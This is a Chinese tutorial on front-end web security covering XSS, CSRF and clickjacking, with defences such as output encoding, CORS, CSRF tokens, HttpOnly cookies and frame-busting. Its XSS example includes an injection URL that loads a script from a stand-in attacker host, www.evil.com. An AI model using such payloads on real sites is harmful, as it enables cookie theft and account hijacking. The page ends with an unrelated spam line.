<font id="zqva1"></font>
<rt id="zqva1"></rt>
  • <tt id="zqva1"></tt>
    <cite id="zqva1"></cite>

    <cite id="zqva1"><noscript id="zqva1"></noscript></cite>
      <rp id="zqva1"><meter id="zqva1"></meter></rp>

        <cite id="zqva1"></cite>
          <b id="zqva1"></b>
          <rp id="zqva1"></rp>
          <cite id="zqva1"></cite>

          <rt id="zqva1"></rt>

        1. <rp id="zqva1"></rp>

          Web前端安全同樣不可忽視,編寫前端代碼時保持安全意識

          時間:?2017-11-15閱讀:?1735標簽:?安全

          前言

          隨著網絡的快速普及,網絡安全問題的受害者不再只是政府、企業等集體,每一個接觸網絡的普通人都有可能成為網絡攻擊的受害者。隨著網絡的普及,黑客進行網絡攻擊的手段越來也多,越來越復雜。以網站的攻擊為例,據國家計算機網絡應急技術處理協調中心的統計,一年中五個政府網站里就會有一個被入侵,而且入侵的數量每年都在以兩倍多的速度增加。網絡攻擊的數量增加,除了攻擊者的數量和攻擊水平的增加之外,很多網絡服務器端防護水平低也助長了網絡的攻擊。最近幾年,很多網站的安全漏洞造成了用戶個人信息的泄露,很多普通用戶受到了經濟上的損失。在國內著名的漏洞報告平臺-烏云網 上,會持續報告很多的網絡漏洞。從網站上公開的漏洞報告可以看出,即使是大的、有科技實力的網絡服務商,在其提供的網絡產品中也經常會存在致命的漏洞。可見國內的網絡安全問題很突出。黑客攻擊網站的主要手段有SQL注入、網絡釣魚、跨站攻擊、拒絕服務攻擊等。當然,網站的維護者也有很多防范的手段,比如構建強大的防火墻等。只是,只有網站本身具有高安全性,才能更好地抵擋各種復雜的攻擊,而這就要求網站的開發者在開發網站時遵循一定的安全規范了。

          從網站的前后端的角度來說,后端是安全防范的重中之重,網站的后端承載著網站中的重要信息,比如用戶賬號、密碼信息、信用卡等,以及其他重要信息。這些信息是攻擊者最希望得到的信息。但是由于前端業務邏輯越來越多,越來越復雜,針對前端的惡意攻擊也越來越多了。前端的HTML、JavaScript、CSS、Flash等技術變成了前端攻擊者和開發者的戰場,網站安全問題也開始向前端傾斜。

          常見的Web前端攻擊方式

          要搞清楚如何防范Web前端攻擊,首先要了解常見的Web前端攻擊手段或方法。目前,攻擊網站前端的主要方式有如下幾種:

          1. XSS

          XSS是Cross Site Scripting的縮寫,即跨站點腳本攻擊。XSS發生在用戶的瀏覽器端,即當用戶在加載HTML文檔時執行了非預期的惡意腳本。這些惡意的腳本一般來自于第三方域,帶有一定的危害性,惡意腳本的執行會導致用戶敏感數據的泄露或者誘導用戶錯誤操作。瀏覽器的同源策略并沒有限制頁面中加載第三方的腳本,所以給了攻擊者一些可乘之機。一個典型的案例是這樣的,攻擊者發現到網站中有注入腳本的漏洞,比如沒有針對用戶輸入的內容作驗證或轉義,而是直接在頁面上顯示了輸入的內容,于是他們惡意輸入一段有攻擊性的腳本,使其在頁面上執行。這些惡意腳本會修改頁面的內容,并誘導用戶操作已經被修改過的頁面,從而盜取用戶的Cookie信息。如下的代碼演示了一個典型的XSS攻擊。
          如果網站的前端代碼中有如下的代碼段:

          <script>
              eval(location.hash.substr(1));
          </script>

          攻擊者發現頁面上有這樣的代碼,則可以構建如下的URL:

          http://host/test.html#document.write("<script/src=//www.evil.com/evil.js></script>”)

          以這樣的方式,攻擊者在目標網站上就注入了一個外部的JavaScript文件,如果攻擊者在這個外部文件中編寫惡意的代碼,比如取得Cookie信息等,就可控制用戶在被攻擊網站上的賬號權限了。

          總結XSS攻擊的特點就是:盡一切辦法在目標網站上執行非目標網站上原有的腳本。

          2. CSRF

          CSRF是Cross Site Request Forgery,翻譯為跨站請求偽造。CSRF的概念很容易和XSS混淆。CSRF和XSS攻擊都是發起各種請求,但對CSRF來說,請求是來源于其他網站的,即為跨站的請求。并且這個請求并不是來自于用戶的意愿,而是偽造的請求,誘導用戶發起的請求。如下是一個CSRF攻擊的典型過程。

          假設網站a有個頁面是通過GET請求來刪除數據的,使用的URL如下:

          http://www.a.com/del?id=21

          攻擊者就可以利用這一點,構建一個頁面并創建一個指向此鏈接的iframe、img或者script等標簽。相當于偽造了一個GET請求。

          此后,攻擊者把新構建頁面的地址發布出去,添加一些吸引眼球的消息,誘騙目標用戶打開此頁面。用戶打開此頁面就相當于間接地完成了刪除數據的操作。

          可以看到這個CSRF攻擊的過程明顯不同于XSS攻擊,這個攻擊可以沒有任何的JavaScript參與。當然,如果想要利用JavaScript腳本代碼也是可以的,比如利用JavaScript代碼來動態構建form表單,并發起一個針對目標網站的POST請求,從而達到攻擊目標網站的目的。

          3. 界面操作劫持

          界面操作劫持是最近幾年才興起的Web前端攻擊方式,Twitter、Facebook等大型網站都受到過此類的攻擊。從用戶操作行為上可以把界面操作劫持分為點擊劫持和拖放劫持兩種,這兩種劫持的形式從字面上很好理解,分別是在用戶點擊和拖動操作時發生的劫持攻擊事件。

          界面操作劫持是利用視覺欺騙,誘導用戶操作。比如在可見的輸入框中覆蓋一個不可見的框(如一個不可見的iframe),用戶點擊輸入框時,其實是點擊了不可見框中的內容,從而讓用戶做出了一些非自己意愿的操作。這些操作有可能造成了用戶敏感信息的泄露、數據丟失等后果。

          使用前端技術很容易實現一個不可見且浮在最上層的iframe窗口,如下的樣式代碼展示了其具體的實現:

          filter:alpha(opacity=0);
          opacity:0;
          z-index: 100;

          上述代碼設置了窗口的透明度為0,即窗口完全透明,假設頁面中所有的元素設置的z-index樣式都比100小,則z-index為100的iframe窗口就會浮到頁面的最上層,意味著頁面上的鼠標操作首先會操作到iframe窗口里面的內容,盡管操作者以為操作的是iframe窗口覆蓋的區域,即實現了視覺上的欺騙。所以界面操作劫持并不是具有高技術含量的攻擊方式,一般通過設計足夠吸引用戶操作的頁面就可以了。

          以上就是目前常見的三種針對前端頁面攻擊的手段,雖然前端頁面成為了Web攻擊的主要入口之一,但前端開發者針對這些攻擊的防范還遠遠不夠,防范意識也很淡薄。那么我們應該如何防范呢?

          如何防范Web前端攻擊

          1. 不要信任任何外部傳入的數據

          防范Web前端攻擊的一個重要的常識是:永遠也不要相信用戶輸入的數據,一定要針對用戶輸入作相關的格式檢查、過濾等操作,防止任何可能的前端注入。如下所列的是在前端開發中應用的具體實踐方法。

          不要信任用戶輸入的內容

          大部分的網站中都有和用戶輸入交互,或者是通過URL傳遞輸入等功能模塊存在,這些輸入的入口,也給了攻擊者可乘之機,XSS攻擊就是利用這些入口來攻擊網站的。預防攻擊的方式其實并不復雜,只要在所有的這些入口添加必要的輸入校驗和過濾即可。具體來說,就是針對用戶輸入內容進行html編碼、html標簽屬性編碼、JavaScript編碼、CSS編碼、URL編碼。

          如果項目中使用了jQuery框架,那么以上的編碼過濾操作就會變得簡單多了,jQuery內置的DOM操作接口已經針對輸入的內容作了相應的編碼處理,比如,顯示用戶輸入的內容時使用$('...').text(data)而非$('...').html(data)、使用$('...').attr()添加屬性、使用$('...').css()添加樣式等。至于URL編碼,則直接使用原生函數encodeURL。

          如果期望更靈活地控制輸入內容,則可以使用jQuery插件jqencoder。如下是此插件提供的各種編碼接口:

          $.encoder.encodeForHTML()
          $.encoder.encodeForHTMLAttribute()
          $.encoder.encodeForJavaScript()
          $.encoder.encodeForCSS()
          $.encoder.encodeForURL()

          除了必要的數據檢查過濾之外,也應該盡量避免使用一些有安全隱患的函數調用方式,比如避免使用eval、setInterval、setTimeout等函數直接運行輸入的內容。

          不要信任在任何傳入的第三方數據

          在前端開發設計中,經常會加載第三方傳入的數據。但由于瀏覽器同源策略的限制,JavaScript是不能直接加載第三方域的數據的,不過,有幾種常用的技術可以繞過這樣的限制。其中,傳統的方式是通過使用JSONP ,這項技術利用了瀏覽器可以加載第三方JavaScript腳本的特性。假設A網站請求B網站的數據,則A會在頁面中通過script標簽請求B網站的一個腳本文件,并在文件的URL中傳入一個回調函數名,B網站收到請求后會把要傳輸的數據和A網站傳入的回調函數組合為一個函數調用代碼返回給A網站,傳輸的數據則作為回調函數的參數。A網站引用腳本的方式類似如下:

          <script  src="http://server2.example.com/RetrieveUser?UserId=1823&jsonp=parseResponse">
           </script>

          上述代碼中parseResponse為傳入的回調函數名稱,B網站組合后返回的代碼類似如下:

          parseResponse({"Name": "Cheeso", "Id" : 1823, "Rank": 7})

          以上示例代碼來自于JSONP對應的維基百科頁面。JSONP雖然很巧妙地做到了跨域的數據傳輸,但這種方式也存在安全隱患。正常情況下第三方網站傳輸給回調函數的數據為JSON格式,但如果第三方網站受到攻擊,使得其返回的數據包含有惡意代碼,而不是正常的JSON格式數據,那么執行這些返回的惡意代碼就會導致不可預期的攻擊。所以如果網站中使用了JSONP技術,則一定要檢查從第三方返回的數據格式。驗證方法很簡單,驗證返回數據的屬性名是否為預期的名稱,驗證屬性值是否在預期的范圍內。數據提供方(第三方)更容易會受到惡意的攻擊,比如通過構造非法的callback函數名來達到XSS攻擊的目的。防范的辦法是過濾callback函數名中的非法字符。同時,也要防止針對數據提供方的大量惡意請求攻擊,即DdoS攻擊 。這種攻擊的手段是利用合理的服務請求來占用過多的服務資源。解決的辦法是利用白名單或者Cookie Token來作限制。一個更安全的方式是使用新標準HTML5中引入的CORS,這項技術在國內還很少使用,但在國外使用的例子已經有很多了。JSONP技術提供的跨域數據訪問鉆了同源策略的空子,算是技巧性的方案,而CORS則是從規范上專門定義的一項跨域數據訪問的技術。CORS比JSONP更先進和可靠,并且已經得到了主流瀏覽器的支持。JSONP只能用GET請求,而CORS不受這樣的限制,甚至可以通過AJAX發起請求。CORS主要的原理是在服務器端設置Access-Control-Allow-Origin頭,從而限定了服務請求的發起端。如下是一個設置的示例:

          Access-Control-Allow-Origin: http://www.dang-jian.com

          此設置意味著從www.dang-jian.com網站發起的跨域請求會得到允許。CORS雖然比JSONP更可靠,但是也要遵守一些安全的規范。比如,Access-Control-Allow-Origin頭應該設置在最小的范圍內,盡量不要設置為*,即允許所有的跨域請求。數據接收方在接受到數據后,一定要進行必要的數據格式和完整性校驗,并把返回的內容作為數據而不是代碼,從而避免惡意數據的攻擊。

          HTML5規范中也引入了另外一個跨域數據傳輸的方案,即使用

          當數據源網頁調用postMessage接口發送數據到目標頁面時,目標網頁的message事件被觸發,并在事件對象event上包含了傳輸的數據。使用postMessage時需要注意的地方和使用CORS時的類似,設置數據接受方時不要設置為*號,應設置為特定的地址。同時,數據接收方應該檢查數據來源地址并校驗接受的數據。不要通過跨域來傳輸代碼,避免惡意代碼的執行。如果網站不需要接受任何數據,則不要綁定message事件。

          以上這幾種防范跨站攻擊的手段最適合用于網站提供對外接口的情形,如果網站不提供對外接口,則防范辦法就不用那么麻煩了,有一些常規手段可以使用。比如每次請求都額外添加前后端都約定好加密token。這樣的插件有很多,也可以自己實現。如果項目是基于NodeJS和Express,則推薦使用csurf中間件,這個中間件專門用于防范CSRF攻擊,可以查看其官方網站獲得更多信息。

          不要僅僅靠JavaScript代碼來阻止注入

          如果用戶輸入的數據要保存到后端數據庫中,則僅僅依靠JavaScript代碼來校驗用戶輸入的數據是不夠的。因為JavaScript代碼本身太容易被攻擊者攔截和修改了,用戶甚至可以不通過頁面而直接和后端連接,所以在后端的代碼中也需要進行必要的數據校驗操作,并且檢查校驗的力度比前端要更嚴格。

          2. 其他前端安全防范實踐

          更安全地使用Cookie

          在很多的網站中,Cookie是用來持久化用戶在網站中的登錄的。所以如果取得了Cookie就可以劫持用戶在網站上的權限。前端XSS攻擊的其中一個目標就是取得Cookie信息,這也是Cookie泄露的最主要方式。避免這種泄露的最有效方式是設置Cookie為HttpOnly,即禁止了JavaScript操作Cookie,這樣一來,前端XSS攻擊時就不能通過JavaScript獲取Cookie的信息了。HttpOnly Cookie基本上得到了所有瀏覽器的支持,所以推薦在項目中使用。在網站中使用JavaScript操作Cookie是一種不安全的做法,所以如果遇到需要通過此方式來傳遞和保存數據的情況,就應該嘗試使用其他更安全的代替方案,比如使用HTML5中的LocalStorage。

          除了給Cookie設置HttpOnly之外,還有另外一個和安全相關的設置,即Secure。設置了Secure的Cookie只能在瀏覽器使用HTTPS請求時被發送到服務器端。如果Cookie中包含有敏感信息這將非常有用。如果站點使用了SSL,則應該啟用Cookie的Secure設置。

          Cookie的另外兩個常用的設置是domain(域)和path(路徑),這兩個設置是用來確定Cookie作用域范圍的。通常情況下是不需要設置這兩個屬性的,但如果在代碼中設置了這兩個屬性,則應該把范圍設置為最小值,避免在不相關的路徑或者域中訪問到Cookie。

          防止網頁被其他網站內嵌為iframe

          在上一節介紹前端攻擊手段時,介紹過界面操作劫持攻擊。這種攻擊正是利用了在網頁中內嵌一個透明的iframe來達到欺騙用戶的目的的。所以,為了避免這樣的攻擊,就要讓網頁不能夠被其他網站內嵌。傳統的方式是使用Javascript代碼來阻止網頁被其他網頁嵌套,首先在頁面中添加如下的樣式:

          <style id="antiClickjack">body{display:none !important;}</style>
          同時添加類似如下的JavaScript代碼:
          <script type="text/javascript">
             if (self === top) {
                 var antiClickjack = document.getElementById("antiClickjack");
                 antiClickjack.parentNode.removeChild(antiClickjack);
             } else {
                 top.location = self.location;
             }
          </script>

          如上的代碼首先設置了整個頁面不可見,隨后在JavaScript代碼中檢測頁面是否被內嵌。如果沒有被內嵌,則移除設置頁面不可見的樣式,否則把頂層頁面的地址設置為內嵌頁面的地址,從而阻止了頁面的內嵌。

          瀏覽器也支持通過設置X-Frame-Options 響應頭來控制頁面被其他頁面內嵌。X-Frame-Options有三種設置選項:deny、sameorigin以及allowfrom url。分別表示禁止、允許相同域及特定URL頁面內嵌此頁面。目前只有allowfrom選項存在瀏覽器兼容問題,其他兩種選項都得到了大部分瀏覽器的支持。所以從瀏覽器兼容性上來說,腳本的方式是目前用來阻止網頁被內嵌的最佳方式。當然,如果網站僅僅是要禁止被內嵌,則設置X-Frame-Options是最簡單有效的方案。

          所謂道高一尺,魔高一丈。安全問題會隨著時間的推移出現新的攻擊方式,所以開發者需要在編寫前端代碼時保持安全意識,不斷加強防范手段。

          站長推薦

          1.阿里云: 本站目前使用的是阿里云主機,安全/可靠/穩定。點擊領取2000元代金券、了解最新阿里云產品的各種優惠活動點擊進入

          2.騰訊云: 提供云服務器、云數據庫、云存儲、視頻與CDN、域名等服務。騰訊云各類產品的最新活動,優惠券領取點擊進入

          3.廣告聯盟: 整理了目前主流的廣告聯盟平臺,如果你有流量,可以作為參考選擇適合你的平臺點擊進入

          鏈接: http://www.modern-decoration.com.cn/article/detial/111

          前端開發人員的10個安全建議

          Web安全是前端開發人員經常忽略的主題。當我們評估網站的質量時,我們通常會查看性能,SEO友好性和可訪問性等指標,而網站抵御惡意攻擊的能力卻常常被忽略。即使敏感的用戶數據存儲在服務器端

          前端安全之xss攻擊

          XSS 攻擊指通過巧妙的方法注入惡意指令代碼到網頁,使用戶加載并執行攻擊者惡意制造的代碼。危害有什么?跳轉到廣告頁面,頁面注入廣告等等。導致公司域名被其他平臺拉黑,從而使業務受損。

          淺談前端安全

          將Web安全問題按照發生的區域來分類,發生在瀏覽器、Web頁面中的安全問題就是前端安全問題。同源:URL由協議、域名、端口和路徑組成,如果兩個URL的協議、域名和端口相同,則表示他們同源。

          常見Web安全問題攻防解析

          XSS (Cross Site Script),跨站腳本攻擊,因縮寫和 CSS (Cascading Style Sheets) 重疊,所以叫 XSS。XSS 的原理是惡意攻擊者往 Web 頁面里插入惡意可執行網頁腳本代碼,當用戶瀏覽該頁之時,嵌入其中 Web 里面的腳本代碼會被執行

          HTTPS為什么是安全的?

          超文本傳輸協議HTTP被用于在web瀏覽器和網站服務器之間傳遞信息,但以明文方式發送內容,被攻擊者截取就可以直接讀取內容信息,不適合傳輸敏感信息。為解決這一缺陷,需要使用另一種協議:安全套接字層超文本傳輸協議HTTPS

          前端用v-html影響安全性

          你的站點上動態渲染的任意 HTML 可能會非常危險,因為它很容易導致 XSS 攻擊。請只對可信內容使用 HTML 插值,絕不要對用戶提供的內容插值。使用 <pre> 標簽替換掉 <div> 標簽。

          14個Linux系統安全小妙招

          對于互聯網IT從業人員來說,越來越多的工作會逐漸轉移到Linux系統之上,這一點,無論是開發、運維、測試都應該是深有體會。曾有技術調查網站W3Techs于2018年11月就發布一個調查報告,報告顯示Linux在網站服務器的系統中使用率高達37.2%

          網站被劫持的方式都有哪些?

          網絡安全日益嚴峻,站長朋友們多多少少都遇到過被黑被劫持的經歷,對于老老實實做人,認認真真做站的朋友來說,好不容易做出了一點成績,一劫持就又回到解放前了,本期我們一起來探討常見的網站被黑被劫持的手段有哪些

          前端必須知道的 HTTP 安全頭配置

          在本文中,我將介紹常用的安全頭信息設置,并給出一個示例。內容安全策略(CSP)常用來通過指定允許加載哪些資源來防止跨站點腳本攻擊。在接下來所介紹的所有安全頭信息中,CSP 可能是創建和維護花費時間最多的而且也是最容易出問題的

          什么是SSL證書?SSL證書的好處

          互聯網發展至今,已經讓人們對它產生了很大的依賴,很多交易都是在網上進行的。然而,網絡攻擊事件也在與日俱增,網絡安全已經成為一件大事,這就不得不用到SSL證書了。

          內容以共享、參考、研究為目的,不存在任何商業目的。其版權屬原作者所有,如有侵權或違規,請與小編聯系!情況屬實本人將予以刪除!

          文章投稿關于web前端網站點搜索站長推薦網站地圖站長QQ:522607023

          小程序專欄: 土味情話心理測試腦筋急轉彎幽默笑話段子句子語錄成語大全運營推廣

          国产精品高清视频免费 - 视频 - 在线观看 - 影视资讯 - 唯爱网